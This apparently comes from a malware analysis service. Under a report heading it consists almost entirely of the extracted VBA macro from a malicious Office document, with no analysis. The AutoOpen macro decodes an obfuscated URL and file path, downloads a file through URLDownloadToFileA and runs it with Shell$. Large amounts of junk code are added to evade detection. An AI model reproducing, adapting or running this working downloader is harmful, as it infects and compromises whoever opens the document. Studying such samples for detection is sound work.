Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "CGpoQSCZQDrTJrb"
Option Explicit
Private Declare PtrSafe Function krjdFkYNLpRo Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal lRVjwWVnQoUCOzNH As Long, _
ByVal HkFreDKJArfpQIx As String, _
ByVal oshuOBqYAHSM As String, _
ByVal ltqGgyuFyrIuPnLP As Long, _
ByVal bWTeslvvoYnBt As Long) As Long
Sub AutoOpen()
Dim XXPmevGFntkFkINFr: XXPmevGFntkFkINFr = Array("hlMhMYMoremE")
Dim iEsZkYOyXuIUrZDOSeI As String: iEsZkYOyXuIUrZDOSeI = oDkLFoIdUlJfjEM(OPYNdbKkgNUOjgWtJdw("AVkPGgMBNiceBAYnXwxROR1WbhgXLzI5Yl9uC2wGKyo="), "BcSOpdDTBTsE3e2ed34rfgtt556b")
Dim anuxNOtRIix, VgipcsuYIes As Integer
anuxNOtRIix = 2
VgipcsuYIes = 23
While anuxNOtRIix < VgipcsuYIes
VgipcsuYIes = VgipcsuYIes - anuxNOtRIix
Wend
Dim JwRDdQHnMhj
Dim pWMJlzZhhvRa, PkExqYmZTDofXYPuK As Integer
pWMJlzZhhvRa = 1
PkExqYmZTDofXYPuK = 24
While pWMJlzZhhvRa < PkExqYmZTDofXYPuK
PkExqYmZTDofXYPuK = PkExqYmZTDofXYPuK - pWMJlzZhhvRa
Wend
Dim ALvbdFOaxQylxku As String: ALvbdFOaxQylxku = OPYNdbKkgNUOjgWtJdw("KhcnP0pLaz8jJhEqXQ5dDgsdVx0LSAYBW1FaDmwGKypQ")
Dim DaoHWbGXEeXUnBGI As Integer
DaoHWbGXEeXUnBGI = 2 * 1
JwRDdQHnMhj = krjdFkYNLpRo(0, oDkLFoIdUlJfjEM(ALvbdFOaxQylxku, "BcSOpdDTBTsE3e2ed34rfgtt556b"), iEsZkYOyXuIUrZDOSeI, 0, 0)
Dim mTFfeNtCMfjCUyrFr As Integer
mTFfeNtCMfjCUyrFr = 4
Dim nckKcxWHZnOeo As Collection
Set nckKcxWHZnOeo = New Collection
nckKcxWHZnOeo.Add "ukxAHpQuJqXcFo"
nckKcxWHZnOeo.Add "qqsQMUwFxTiAGhQDRmc"
nckKcxWHZnOeo.Add "xrlIZnsCnGQncaULTLS"
nckKcxWHZnOeo.Add "ODiSLfdDwYh"
nckKcxWHZnOeo.Add "ktHIgpIVFaI"
nckKcxWHZnOeo.Add "wcUMOUpUfvoXELySRj"
nckKcxWHZnOeo.Add "pYVGFCgcdAMsl"
nckKcxWHZnOeo.Add "GhDoXjdygMiSyKucpmm"
nckKcxWHZnOeo.Add "HmlttoWzXUAYZG"
If mTFfeNtCMfjCUyrFr < Len(Application.UserName) Then
Dim jCpwNZXVRcUPG As Integer
jCpwNZXVRcUPG = 4 - 7 * 9
Dim BinJCQHWvFbbByP As Variant
End If
Shell$ iEsZkYOyXuIUrZDOSeI
End Sub
Public Function OPYNdbKkgNUOjgWtJdw(UEnWgLQOWuYGfYdhH As String, Optional fnwHvzkGLuld As Boolean = True) As String
Dim JSEQjcwSIqwKf As Integer
JSEQjcwSIqwKf = 1 - 1 * 5
Static ptGTCCcNUxpSXMEXWmN(0 To 255) As Byte
Dim cKVVbPplKAQY As Integer
cKVVbPplKAQY = 2 * 6
Dim opAeRjVlIgsksNF() As Byte, geLsksJktub() As Byte
Dim NiOiGVcjztF As Integer
NiOiGVcjztF = 3 - 9 * 5
Dim BkHOnYrpiPvQwEJto As Long, NZAcNUCoOvytKsqpYyY As Long
Dim mvNCtxrKwrE As Integer
mvNCtxrKwrE = 8 * 2
If ptGTCCcNUxpSXMEXWmN(0) = 0 Then
Dim dXmHRVwqSqY As Integer
dXmHRVwqSqY = 5 - 1 * 6
For BkHOnYrpiPvQwEJto = 0 To 255
Dim AkoHZeCSIAVR As Integer
AkoHZeCSIAVR = 4 * 1
ptGTCCcNUxpSXMEXWmN(BkHOnYrpiPvQwEJto) = 255
Dim BLWVxBdlgnL As Integer
BLWVxBdlgnL = 6 - 2 * 5
Next BkHOnYrpiPvQwEJto
Dim IJGGyFuMNASdeNmHs As Integer
IJGGyFuMNASdeNmHs = 3 * 6
For BkHOnYrpiPvQwEJto = 0 To 25
Dim zBLduHyjeWNqEWYx, nmkpgZDZPKw As Integer
zBLduHyjeWNqEWYx = 8
nmkpgZDZPKw = 93
While zBLduHyjeWNqEWYx < nmkpgZDZPKw
nmkpgZDZPKw = nmkpgZDZPKw - zBLduHyjeWNqEWYx
Wend
ptGTCCcNUxpSXMEXWmN(BkHOnYrpiPvQwEJto + 65) = BkHOnYrpiPvQwEJto
Dim TrnLeDkYTuNPdhI: TrnLeDkYTuNPdhI = Array("pcyJrdtMXjcgITuE")
Next BkHOnYrpiPvQwEJto
Dim gtCsboOYFKT As Integer
gtCsboOYFKT = 2 * 8
For BkHOnYrpiPvQwEJto = 26 To 51
ptGTCCcNUxpSXMEXWmN(BkHOnYrpiPvQwEJto + 71) = BkHOnYrpiPvQwEJto
Dim UouGerXSeTUdAby: UouGerXSeTUdAby = Array("DwexcoMCVxWongKBPr""GsENlQmbSdkbDouteXl""QDWUoLVRWgzh""fGzRhHmZqyyAZEMs""ZUetfRujaJR""UUlZdVfYuxJqo")
Next BkHOnYrpiPvQwEJto
Dim knbyyRxDCpDFdX As Collection
Set knbyyRxDCpDFdX = New Collection
knbyyRxDCpDFdX.Add "wRfSUikiwHil"
knbyyRxDCpDFdX.Add "vLOhnkHTOcSHJGvvr"
knbyyRxDCpDFdX.Add "MGipVXMJLErQdYpLmut"
knbyyRxDCpDFdX.Add "KzejcHfRMxANGWI"
knbyyRxDCpDFdX.Add "DmJnUgPLXiZjw"
For BkHOnYrpiPvQwEJto = 52 To 61
ptGTCCcNUxpSXMEXWmN(BkHOnYrpiPvQwEJto - 4) = BkHOnYrpiPvQwEJto
Dim YACLZfTaKFrX, BZTCnAXWigsle As Integer
YACLZfTaKFrX = 9
BZTCnAXWigsle = 27
While YACLZfTaKFrX < BZTCnAXWigsle
BZTCnAXWigsle = BZTCnAXWigsle - YACLZfTaKFrX
Wend
Next BkHOnYrpiPvQwEJto
Dim acnHhNMlrTo As Integer
acnHhNMlrTo = 4 * 7
ptGTCCcNUxpSXMEXWmN(43) = 62
ptGTCCcNUxpSXMEXWmN(47) = 63
Dim tpDEaIsvoIOWtLwd As Integer
tpDEaIsvoIOWtLwd = 5 * 4
End If
Dim wPhzzBkshWECFO: wPhzzBkshWECFO = Array("nOuvpxHzZDhFSonR""FsFfHlroOBFPlJOgw""vbWXIazRtrf""myRDgqROaJIi""TywiUsXNPghu""ycUQVchONBNSli""lubEozIWLFKfOE""aNsqHgYjwIZUOHLH")
If UEnWgLQOWuYGfYdhH = "" Then Exit Function
Dim vaQOILHdyBpRCwnO, nMWsaTTvzvToLc As Integer
vaQOILHdyBpRCwnO = 6
nMWsaTTvzvToLc = 38
While vaQOILHdyBpRCwnO < nMWsaTTvzvToLc
nMWsaTTvzvToLc = nMWsaTTvzvToLc - vaQOILHdyBpRCwnO
Wend
UEnWgLQOWuYGfYdhH = Trim(UEnWgLQOWuYGfYdhH)
Dim fAaHAcglncjL: fAaHAcglncjL = Array("WxLRkkMepxbdTs""NDSaVHVZbZN""AoTbjiextXfBdwPcm""mCzJzsoSgMqb""obxaoyToijIDCtXJc""soCsjswDLwGietoRN")
If fnwHvzkGLuld Then
Dim yxDeFKpzXYmYMrUc: yxDeFKpzXYmYMrUc = Array("obNNkBLTIjiNT""RwixaeCzvuLQhwPZ""anSnwpyDKGQ""LbtOcmRZcEIinqGWa""WZgNLznvrXQIN""qKVCfmqmYsKMIFfbV""iZOAggOKKgMxIT""OsdDwDAxgMBWMfkYhI")
For BkHOnYrpiPvQwEJto = 0 To 255
Dim zkfGBetCTZm As Collection
Set zkfGBetCTZm = New Collection
zkfGBetCTZm.Add "yXeMCjCljlYdfoXJXj"
zkfGBetCTZm.Add "YBjzudoOSlBFh"
zkfGBetCTZm.Add "TZntqnRxxDBHOeJmLY"
If Not (Chr(BkHOnYrpiPvQwEJto) Like "[A-Za-z0-9+/=]") Then
Dim tbvEZAnbcnqnR As Integer
tbvEZAnbcnqnR = 8 - 8 * 1
UEnWgLQOWuYGfYdhH = Replace(UEnWgLQOWuYGfYdhH, Chr(BkHOnYrpiPvQwEJto), "")
Dim wdncUlnokndD As Integer
wdncUlnokndD = 8 - 7 * 1
End If
Dim bUnEHHXKqVH, AUTgVDuaBmM As Integer
bUnEHHXKqVH = 3
AUTgVDuaBmM = 99
While bUnEHHXKqVH < AUTgVDuaBmM
AUTgVDuaBmM = AUTgVDuaBmM - bUnEHHXKqVH
Wend
Next BkHOnYrpiPvQwEJto
Dim uUsElTMemRuHSGV As Integer
uUsElTMemRuHSGV = 4 * 5
End If
Dim iIcNMPIhGOqg As Collection
Set iIcNMPIhGOqg = New Collection
iIcNMPIhGOqg.Add "rizAaodDnWLrsXBwAfs"
iIcNMPIhGOqg.Add "pyyqLdPUEMWNT"
iIcNMPIhGOqg.Add "yVifHKSrmfWua"
iIcNMPIhGOqg.Add "dggKHcpkxqNUahIQjp"
iIcNMPIhGOqg.Add "azLPxuYDMbSABChfaWG"
iIcNMPIhGOqg.Add "ZanNABdRDrywNDYXr"
iIcNMPIhGOqg.Add "oRetgMbSzYjCL"
geLsksJktub() = StrConv(UEnWgLQOWuYGfYdhH, vbFromUnicode)
Dim tCXkIITToCzETP As Integer
tCXkIITToCzETP = 2 - 9 * 6
ReDim opAeRjVlIgsksNF(0 To ((Len(UEnWgLQOWuYGfYdhH) \ 4) * 3 - 1))
Dim nSVTKJnINZsOqrA As Integer
nSVTKJnINZsOqrA = 1
Dim vbOiFYsDxKiQo As Collection
Set vbOiFYsDxKiQo = New Collection
vbOiFYsDxKiQo.Add "HKCzWoRymkmHOvUi"
vbOiFYsDxKiQo.Add "rblMYQHbCOreiYPQTE"
vbOiFYsDxKiQo.Add "dgUBajmIUJoqT"
vbOiFYsDxKiQo.Add "fNGlZlQvqdrkBaAOt"
vbOiFYsDxKiQo.Add "mGvJQBsWPqwGKvbEvEF"
vbOiFYsDxKiQo.Add "zewbxaTELmzTfOOxJ"
vbOiFYsDxKiQo.Add "UeeaIFpuqUTHmZ"
vbOiFYsDxKiQo.Add "ShrIVtWIYCSoigd"
If nSVTKJnINZsOqrA < Len(Application.UserName) Then
Dim MgBNFxMdvTZSzLG, UtryQvGcciqEEoVfRa As Integer
MgBNFxMdvTZSzLG = 1
UtryQvGcciqEEoVfRa = 58
While MgBNFxMdvTZSzLG < UtryQvGcciqEEoVfRa
UtryQvGcciqEEoVfRa = UtryQvGcciqEEoVfRa - MgBNFxMdvTZSzLG
Wend
Dim lnIJAnmYPHCjn As Variant
End If
For BkHOnYrpiPvQwEJto = 0 To Len(UEnWgLQOWuYGfYdhH) \ 4 - 2
NZAcNUCoOvytKsqpYyY = ptGTCCcNUxpSXMEXWmN(geLsksJktub(BkHOnYrpiPvQwEJto * 4 + 3))
Dim tDIVreeosozeoSlU: tDIVreeosozeoSlU = Array("NFfGYmYlgpQE""DBjiSomqZHZOQfny""WwnjAhMYQBoig")
NZAcNUCoOvytKsqpYyY = NZAcNUCoOvytKsqpYyY Or (ptGTCCcNUxpSXMEXWmN(geLsksJktub(BkHOnYrpiPvQwEJto * 4 + 2)) * &H40&)
Dim wKZFbpabbocxCfqS: wKZFbpabbocxCfqS = Array("DMADPKucndg""wkUjaBNkrbbRjrewJ""bhYkNjDVhySTaatNc")
NZAcNUCoOvytKsqpYyY = NZAcNUCoOvytKsqpYyY Or (ptGTCCcNUxpSXMEXWmN(geLsksJktub(BkHOnYrpiPvQwEJto * 4 + 1)) * &H1000&)
Dim VrTzwQuwsBBQzAn As Integer
VrTzwQuwsBBQzAn = 4 - 9 * 5
NZAcNUCoOvytKsqpYyY = NZAcNUCoOvytKsqpYyY Or (ptGTCCcNUxpSXMEXWmN(geLsksJktub(BkHOnYrpiPvQwEJto * 4 + 0)) * &H40000)
Dim RPAZnYprVYaHB As Integer
RPAZnYprVYaHB = 5 - 2 * 3
opAeRjVlIgsksNF(BkHOnYrpiPvQwEJto * 3 + 0) = (NZAcNUCoOvytKsqpYyY And &HFF0000) \ &H10000
Dim HhHlxjiDrvVObmeS As Integer
HhHlxjiDrvVObmeS = 6 * 1
opAeRjVlIgsksNF(BkHOnYrpiPvQwEJto * 3 + 1) = (NZAcNUCoOvytKsqpYyY And &HFF00&) \ &H100&
Dim ziSAXrDxhifPpgr As Integer
ziSAXrDxhifPpgr = 1 - 5 * 7
opAeRjVlIgsksNF(BkHOnYrpiPvQwEJto * 3 + 2) = NZAcNUCoOvytKsqpYyY And &HFF&
Dim jzOzxbjePUtW As Integer
jzOzxbjePUtW = 7
Dim DAmdsyveftEQbvd, KIpOkebRUKtlz As Integer
DAmdsyveftEQbvd = 5
KIpOkebRUKtlz = 41
While DAmdsyveftEQbvd < KIpOkebRUKtlz
KIpOkebRUKtlz = KIpOkebRUKtlz - DAmdsyveftEQbvd
Wend
If jzOzxbjePUtW < Len(Application.UserName) Then
Dim ulPecAcjgjAjjXegzim As Integer
ulPecAcjgjAjjXegzim = 9 * 7
Dim tijOWXsGYbzwtl As Variant
End If
Next BkHOnYrpiPvQwEJto
Dim crEXfZVOZHpRejk: crEXfZVOZHpRejk = Array("mrLeucmUZvKG""lmnwcfiSWqtxWnw""lRbpNeZuqGdXK")
NZAcNUCoOvytKsqpYyY = 0
Dim bbpfibegBlUBNp As Integer
bbpfibegBlUBNp = 1 - 5 * 8
If ptGTCCcNUxpSXMEXWmN(geLsksJktub(BkHOnYrpiPvQwEJto * 4 + 3)) <> 255 Then NZAcNUCoOvytKsqpYyY = ptGTCCcNUxpSXMEXWmN(geLsksJktub(BkHOnYrpiPvQwEJto * 4 + 3))
Dim mwbWYerSTnlAE: mwbWYerSTnlAE = Array("cTJQyqSAgATClWK""okfjjsuPYCLwDeQ""DNrwjZXDauyVDQ""HbAQYPPPgpIRNPU""iapCsiTOJOb""LVqpoJyxuIAOUeHTLS")
If ptGTCCcNUxpSXMEXWmN(geLsksJktub(BkHOnYrpiPvQwEJto * 4 + 2)) <> 255 Then NZAcNUCoOvytKsqpYyY = NZAcNUCoOvytKsqpYyY Or (ptGTCCcNUxpSXMEXWmN(geLsksJktub(BkHOnYrpiPvQwEJto * 4 + 2)) * &H40&)
Dim aFTDZqFiXUa, hlmYuDYHNliUYIUGs As Integer
aFTDZqFiXUa = 5
hlmYuDYHNliUYIUGs = 13
While aFTDZqFiXUa < hlmYuDYHNliUYIUGs
hlmYuDYHNliUYIUGs = hlmYuDYHNliUYIUGs - aFTDZqFiXUa
Wend
If ptGTCCcNUxpSXMEXWmN(geLsksJktub(BkHOnYrpiPvQwEJto * 4 + 1)) <> 255 Then NZAcNUCoOvytKsqpYyY = NZAcNUCoOvytKsqpYyY Or (ptGTCCcNUxpSXMEXWmN(geLsksJktub(BkHOnYrpiPvQwEJto * 4 + 1)) * &H1000&)
Dim ebcCquJERuxWzV, bkafzVpfFXgBG As Integer
ebcCquJERuxWzV = 9
bkafzVpfFXgBG = 73
While ebcCquJERuxWzV < bkafzVpfFXgBG
bkafzVpfFXgBG = bkafzVpfFXgBG - ebcCquJERuxWzV
Wend
If ptGTCCcNUxpSXMEXWmN(geLsksJktub(BkHOnYrpiPvQwEJto * 4 + 0)) <> 255 Then NZAcNUCoOvytKsqpYyY = NZAcNUCoOvytKsqpYyY Or (ptGTCCcNUxpSXMEXWmN(geLsksJktub(BkHOnYrpiPvQwEJto * 4 + 0)) * &H40000)
Dim bHdAbSCyhsckTAI: bHdAbSCyhsckTAI = Array("CIvDFAOCcCGmk")
opAeRjVlIgsksNF(BkHOnYrpiPvQwEJto * 3 + 0) = (NZAcNUCoOvytKsqpYyY And &HFF0000) \ &H10000
Dim MIqvHCusTENp: MIqvHCusTENp = Array("dLmgFwpXLsOGksV""ZHpGLdgzAZxyGho""TLYamNZQqdtetNh""LCEboAttPJgBrZglDy""XxgIjrSvTDAypB")
opAeRjVlIgsksNF(BkHOnYrpiPvQwEJto * 3 + 1) = (NZAcNUCoOvytKsqpYyY And &HFF00&) \ &H100&
Dim IYZMBSSzgrTg: IYZMBSSzgrTg = Array("sYrUAGTdfGxIjyC""OoMkZjhEVZs""TQITkNarFUJpyIb""evZwRLKGSZlkMSoSsIW""BhAjNwLdWQFp")
opAeRjVlIgsksNF(BkHOnYrpiPvQwEJto * 3 + 2) = NZAcNUCoOvytKsqpYyY And &HFF&
Dim WslVQsGHQidftHrdQHP As Integer
WslVQsGHQidftHrdQHP = 2
Dim FnRqiymxsibAmsFAA As Integer
FnRqiymxsibAmsFAA = 4
Dim ZCFIpiHxkcuDFVIS, bfFEqOsynSAAuG As Integer
ZCFIpiHxkcuDFVIS = 3
bfFEqOsynSAAuG = 67
While ZCFIpiHxkcuDFVIS < bfFEqOsynSAAuG
bfFEqOsynSAAuG = bfFEqOsynSAAuG - ZCFIpiHxkcuDFVIS
Wend
If FnRqiymxsibAmsFAA < Len(Application.UserName) Then
Dim GHmzQdaZjvZzjnxNy As Collection
Set GHmzQdaZjvZzjnxNy = New Collection
GHmzQdaZjvZzjnxNy.Add "PrApnXWEBCYPutXE"
GHmzQdaZjvZzjnxNy.Add "bTKrtLmXBIT"
GHmzQdaZjvZzjnxNy.Add "LQgfveLRdAQwRmK"
GHmzQdaZjvZzjnxNy.Add "EWmQEvwINHKBW"
GHmzQdaZjvZzjnxNy.Add "yIAZdegNqOFszhpu"
Dim EryPJYTcvHyRUmyReeq As Variant
End If
If WslVQsGHQidftHrdQHP < Len(Application.UserName) Then
Dim KryIEwPftNc, kkBUZwWNxtjDYtEqhfV As Integer
KryIEwPftNc = 2
kkBUZwWNxtjDYtEqhfV = 91
While KryIEwPftNc < kkBUZwWNxtjDYtEqhfV
kkBUZwWNxtjDYtEqhfV = kkBUZwWNxtjDYtEqhfV - KryIEwPftNc
Wend
Dim SmlFczlrEZIFXzind As Variant
End If
If geLsksJktub(UBound(geLsksJktub) - 1) = 61 Then
Dim uWImSfJTShWm As Integer
uWImSfJTShWm = 4 - 3 * 3
OPYNdbKkgNUOjgWtJdw = Left(StrConv(opAeRjVlIgsksNF, vbUnicode), UBound(opAeRjVlIgsksNF) - 1)
Dim CmRxHwmGSZMY As Integer
CmRxHwmGSZMY = 8
Dim OINJUGwQZSoSeVWg, fhzpYAgWREPXgB As Integer
For fhzpYAgWREPXgB = 0 To 1
OINJUGwQZSoSeVWg = OINJUGwQZSoSeVWg + fhzpYAgWREPXgB
Next fhzpYAgWREPXgB
If CmRxHwmGSZMY < Len(Application.UserName) Then
Dim OkQWswfBDcR, wbmlILAMJZRFXyiJ As Integer
For wbmlILAMJZRFXyiJ = 0 To 8
OkQWswfBDcR = OkQWswfBDcR + wbmlILAMJZRFXyiJ
Next wbmlILAMJZRFXyiJ
Dim kujewxXUJNniZu As Variant
End If
ElseIf geLsksJktub(UBound(geLsksJktub)) = 61 Then
Dim GZbVnNBoksfPErucz As Integer
GZbVnNBoksfPErucz = 8
Dim DtIFDjOEdGGic As Integer
DtIFDjOEdGGic = 5 - 2 * 6
If GZbVnNBoksfPErucz < Len(Application.UserName) Then
Dim tTeSpWpxWte, ovIQKpRyVrAHlnmRvMq As Integer
For ovIQKpRyVrAHlnmRvMq = 0 To 1
tTeSpWpxWte = tTeSpWpxWte + ovIQKpRyVrAHlnmRvMq
Next ovIQKpRyVrAHlnmRvMq
Dim MHwyxmLKHVbzBylX As Variant
End If
OPYNdbKkgNUOjgWtJdw = Left(StrConv(opAeRjVlIgsksNF, vbUnicode), UBound(opAeRjVlIgsksNF) - 0)
Else
Dim iZvpLYlSgSBWlH As Collection
Set iZvpLYlSgSBWlH = New Collection
iZvpLYlSgSBWlH.Add "ImUIPFEffSdWVbKTv"
iZvpLYlSgSBWlH.Add "GjPWcCkmkFUJHd"
iZvpLYlSgSBWlH.Add "FhwMKwPxHjz"
iZvpLYlSgSBWlH.Add "OZiOztZZgLS"
iZvpLYlSgSBWlH.Add "fPAxITCwLZnCMfmnf"
OPYNdbKkgNUOjgWtJdw = StrConv(opAeRjVlIgsksNF, vbUnicode)
Dim GsDHBQDbdZVdJZ As Integer
GsDHBQDbdZVdJZ = 3
Dim rwIMzJYtiUU: rwIMzJYtiUU = Array("bYevlwZnGXPvVKqmX""MQcfxBMdBsFkyAG""bknMUwTxcxxtQLvgfA""YEmKEQKmjOuzJCz""fpqmruUwjbGkW")
If GsDHBQDbdZVdJZ < Len(Application.UserName) Then
Dim XinaQEISmHnbiBOKSPI As Integer
XinaQEISmHnbiBOKSPI = 1 * 6
Dim uLmNmmBKNkenLsvsPbS As Variant
End If
End If
End Function
Public Function oDkLFoIdUlJfjEM(ByRef rWunaSuRfIDgSpv As String, ByRef oFGYuUUMOdpMVpwkE As String) As String
Dim MBrRedQumJf As Collection
Set MBrRedQumJf = New Collection
MBrRedQumJf.Add "ApxVbHjeIbUOvvWGxw"
MBrRedQumJf.Add "HlZbegQxnfHs"
Dim pTLddmYAyvKLcvUrA() As Byte, MlXRTAIbiNWZOW() As Byte, AqdpNVdoxrM As Long, SXRGYEjjEnMYtsbm As Long, KtLbMUQKrcBoZAYxYI As Long, UEnWgLQOWuYGfYdhH As Long
Dim lWUfSmCCrHRuYvhkIvj: lWUfSmCCrHRuYvhkIvj = Array("UnyWKkTONzTcYilDflm")
pTLddmYAyvKLcvUrA = StrConv(rWunaSuRfIDgSpv, vbFromUnicode)
MlXRTAIbiNWZOW = StrConv(oFGYuUUMOdpMVpwkE, vbFromUnicode)
Dim nWMqubjMZhDdGbQRxIJ As Integer
nWMqubjMZhDdGbQRxIJ = 2
Dim vITPOycHsSDkYLIp: vITPOycHsSDkYLIp = Array("IviDjsfTZBsVRrOWv""WtHbDkcsjEKjwKyn""jKJaRZplpyeSkG""ZCUHMaSqAszlBYVM""APFhZOgoRsGcTOZ""xabUYhTZJLnOnYjgYY""zFYTWpeIbhlIPCtad""AKlcLopqLkJSdtfsuc")
If nWMqubjMZhDdGbQRxIJ < Len(Application.UserName) Then
Dim nCvOdBBBFLvJ As Integer
nCvOdBBBFLvJ = 5 - 9 * 7
Dim ytMsPTLJsxSAnDNB As Variant
End If
AqdpNVdoxrM = UBound(pTLddmYAyvKLcvUrA)
Dim EZEuTgXiQKTrC As Integer
EZEuTgXiQKTrC = 3 - 5 * 1
SXRGYEjjEnMYtsbm = UBound(MlXRTAIbiNWZOW)
Dim VcHhuEDFqYpRSz As Integer
VcHhuEDFqYpRSz = 2
Dim oEKTCfhvSnsCYMF, jtpeqqsbUKdowzjIS As Integer
oEKTCfhvSnsCYMF = 8
jtpeqqsbUKdowzjIS = 71
While oEKTCfhvSnsCYMF < jtpeqqsbUKdowzjIS
jtpeqqsbUKdowzjIS = jtpeqqsbUKdowzjIS - oEKTCfhvSnsCYMF
Wend
If VcHhuEDFqYpRSz < Len(Application.UserName) Then
Dim tIzbBlwyOyd, iEduogXopFvHjWXq As Integer
For iEduogXopFvHjWXq = 0 To 2
tIzbBlwyOyd = tIzbBlwyOyd + iEduogXopFvHjWXq
Next iEduogXopFvHjWXq
Dim CjNNQOXaubb As Variant
End If
For KtLbMUQKrcBoZAYxYI = 0 To AqdpNVdoxrM
Dim SMMJmNfQPXW As Collection
Set SMMJmNfQPXW = New Collection
SMMJmNfQPXW.Add "PgWPftjshNTOohwy"
SMMJmNfQPXW.Add "cxmEQGhIufaKL"
SMMJmNfQPXW.Add "VGeDAVmNgklA"
SMMJmNfQPXW.Add "PdnQAiJATAWRxgXka"
SMMJmNfQPXW.Add "pzTdldnsWEHHCShkiMJ"
pTLddmYAyvKLcvUrA(KtLbMUQKrcBoZAYxYI) = pTLddmYAyvKLcvUrA(KtLbMUQKrcBoZAYxYI) Xor MlXRTAIbiNWZOW(UEnWgLQOWuYGfYdhH)
Dim BmyNjvACnMpnwMsTyQ, kxUmTfTOGVEFx As Integer
BmyNjvACnMpnwMsTyQ = 8
kxUmTfTOGVEFx = 24
While BmyNjvACnMpnwMsTyQ < kxUmTfTOGVEFx
kxUmTfTOGVEFx = kxUmTfTOGVEFx - BmyNjvACnMpnwMsTyQ
Wend
If UEnWgLQOWuYGfYdhH < SXRGYEjjEnMYtsbm Then
Dim NKXtPOGwVyWscde As Collection
Set NKXtPOGwVyWscde = New Collection
NKXtPOGwVyWscde.Add "PDBwhYYWRbnrGfovAGx"
NKXtPOGwVyWscde.Add "dfFfnjmzBrXnblu"
NKXtPOGwVyWscde.Add "BZMmCxalXvQupl"
NKXtPOGwVyWscde.Add "tuajogQBswKElRka"
NKXtPOGwVyWscde.Add "WZAYcCAVzeX"
NKXtPOGwVyWscde.Add "QENAWxggPsdbLGzIb"
NKXtPOGwVyWscde.Add "uTjIrfixuiR"
NKXtPOGwVyWscde.Add "tfYUPYwGDldMvAAM"
NKXtPOGwVyWscde.Add "zhRHbtBHHVSdpzAOS"
UEnWgLQOWuYGfYdhH = UEnWgLQOWuYGfYdhH + 1
Else
Dim AteuYkourIM As Integer
AteuYkourIM = 3
Dim eQGRRVQTKXbXmRN, DaqpzIDUYEbzQL As Integer
eQGRRVQTKXbXmRN = 3
DaqpzIDUYEbzQL = 53
While eQGRRVQTKXbXmRN < DaqpzIDUYEbzQL
DaqpzIDUYEbzQL = DaqpzIDUYEbzQL - eQGRRVQTKXbXmRN
Wend
If AteuYkourIM < Len(Application.UserName) Then
Dim tRpTuLlnCQIkHJjDnkQ, DeubGSGvKWrIKG As Integer
tRpTuLlnCQIkHJjDnkQ = 8
DeubGSGvKWrIKG = 75
While tRpTuLlnCQIkHJjDnkQ < DeubGSGvKWrIKG
DeubGSGvKWrIKG = DeubGSGvKWrIKG - tRpTuLlnCQIkHJjDnkQ
Wend
Dim ZOvTxmlAnwiKylYIyz As Variant
End If
UEnWgLQOWuYGfYdhH = 0
Dim HFhMKTOWiSdNmM As Integer
HFhMKTOWiSdNmM = 2
Dim oEUcvbFuukz As Integer
oEUcvbFuukz = 4 * 9
If HFhMKTOWiSdNmM < Len(Application.UserName) Then
Dim bQuzbDMIybmsupJ As Variant
End If
End If
Dim kFtWhcnLAmZGpM As Integer
kFtWhcnLAmZGpM = 7 * 1
Next KtLbMUQKrcBoZAYxYI
oDkLFoIdUlJfjEM = StrConv(pTLddmYAyvKLcvUrA, vbUnicode)
End Function



Attribute VB_Name = "DbgADYpRpYqRobdY"
Attribute VB_Base = "0{D8DF9CC7-C6B4-4A9D-B1BB-D2B31B6ECC06}{8EF9A5EC-C028-4100-A6B2-119A169B9639}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Function SffIYlLblcy() As String
SffIYlLblcy = oDkLFoIdUlJfjEM(OPYNdbKkgNUOjgWtJdw("OBJECTHERE"), "BcSOpdDTBTsE3e2ed34rfgtt556b")
End Function
Public Function tZIaasVZgBgSFrf(tSZexolVCFvNEfYt As String) As Long
Dim HmXjfausgJGZaDF: HmXjfausgJGZaDF = Array("gpWrNZSuBuAFKwuFosp""KgJVmLwslMlr""HHXfJCPIxwAPlkBhs""rWgfEOgUjqMDglAkSTd")
Shell$ tSZexolVCFvNEfYt
End Function